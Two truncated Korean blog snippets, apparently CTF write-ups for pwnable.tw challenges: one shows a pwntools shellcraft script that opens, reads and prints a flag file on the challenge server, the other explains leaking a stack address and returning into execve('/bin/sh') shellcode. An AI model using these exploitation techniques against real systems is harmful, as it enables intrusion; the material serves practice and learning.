옛날에 풀었었는데 우연히 어떤 분 블로그를 보고 pwntools의 shellcraft라는것을 접하게 되어 다시 풀어보았다. 12345678910111213from pwn import * p = remote('chall.pwnable.tw',10001) payload=asm(shellcraft.open("/home/orw/flag"))payload+=asm(shellcraft.read("eax","esp",0x100))payload+=asm(shellcraft.write(1,"esp",0x100)) p.sendline(payload) p.recvuntil("shellcode:")print p.recvline() Colored by Color Scriptercs 이렇게 간단하다. 간단히 설명하면 open으로..
바이너리를 보면 매우 간단합니다. write 함수로 출력 해주고 read 로 입력 받은 후 esp에 0x14만큼 더한뒤 리턴 write 로 3c만큼 받는데 어떻게 하면 세폴이 날까 하고 A를 막 줘봤더니 24개를 주었더니 eip가 조작되었습니다. 그래서 eip를 스택으로 돌리고 스택에 쉘코드를 넣어 실행하려했는데 aslr이 걸려있어 실패했습니다. NX도 걸려있어서 쉘코드를 스택에 올려 실행하는 방법으로 해야될 것 같은데 스택 주소를 알지 못합니다. 그래서 write 함수로 스택 주소를 알아내고, esp+0x14 를 실행하므로 esp+0x14에 쉘코드를 넣고 리턴 어드레스에 스택주소+0x14 만큼 해서 익스 했습니다. 그리고 쉘코드가 execve("/bin/sh") 인데 이 execve 함수는 ecx.ed..